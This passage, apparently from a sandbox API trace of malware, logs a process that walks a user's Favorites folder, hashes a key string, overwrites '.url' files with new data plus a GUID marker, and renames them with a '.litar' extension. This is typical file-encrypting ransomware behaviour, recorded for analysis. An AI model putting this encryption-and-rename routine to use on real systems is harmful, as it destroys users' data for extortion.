Flags=0x0, Size=0x70) returned 0x3084558 [0125.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.949] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.949] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.949] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.949] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.949] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.949] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.949] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.949] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.949] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.949] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.949] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.949] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.949] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.949] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.949] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.949] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.950] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.950] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.950] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.950] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.950] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.950] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.950] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.950] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.950] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.950] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.950] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.950] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.950] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.950] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.950] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.950] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.950] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.950] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.951] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.951] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.951] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.951] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.951] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.951] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.951] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.951] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.951] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.951] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.951] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.951] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.951] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.951] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.951] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.951] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.951] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.952] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.952] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.952] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.952] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.952] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.952] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.952] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.952] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.952] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.952] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.952] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.952] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.952] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.952] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.952] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.952] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.952] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.952] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.952] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.952] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.952] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.952] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.952] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.952] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.952] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.952] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.952] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.952] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.952] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.952] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.952] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.952] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.953] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.953] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.953] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.953] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.953] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.953] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.953] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.953] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.953] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.953] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.953] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.953] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.953] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.953] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.953] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.953] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.953] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.953] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="MSN Websites\\" [0125.953] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0125.953] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0125.953] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.953] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0125.953] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0125.953] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0125.953] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0125.953] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0125.953] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0125.953] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0125.953] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0125.953] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0125.953] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0125.953] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0125.953] PathFindFileNameW (pszPath="") returned="" [0125.953] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.954] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0125.954] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.954] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.954] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0125.954] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.954] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0125.954] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.954] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url") returned=".url" [0125.955] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.955] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=133) returned 1 [0125.955] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.957] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.957] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.957] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.957] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.957] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.958] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x85, lpOverlapped=0x0) returned 1 [0125.958] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.958] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.958] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.958] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0125.958] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.958] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.958] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.959] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.959] GetLastError () returned 0x0 [0125.959] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.959] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0125.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0125.959] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.959] WriteFile (in: hFile=0x624, lpBuffer=0x2ff7df0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x2ff7df0*, lpNumberOfBytesWritten=0x398fb24*=0x80, lpOverlapped=0x0) returned 1 [0125.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0125.959] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0125.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0125.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0125.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0125.959] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0125.959] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.959] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.959] CloseHandle (hObject=0x624) returned 1 [0125.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0125.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0125.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0125.960] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url.litar")) returned 1 [0125.961] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.961] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.962] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0125.962] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0125.962] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.962] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0125.962] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.962] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url") returned=".url" [0125.962] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: 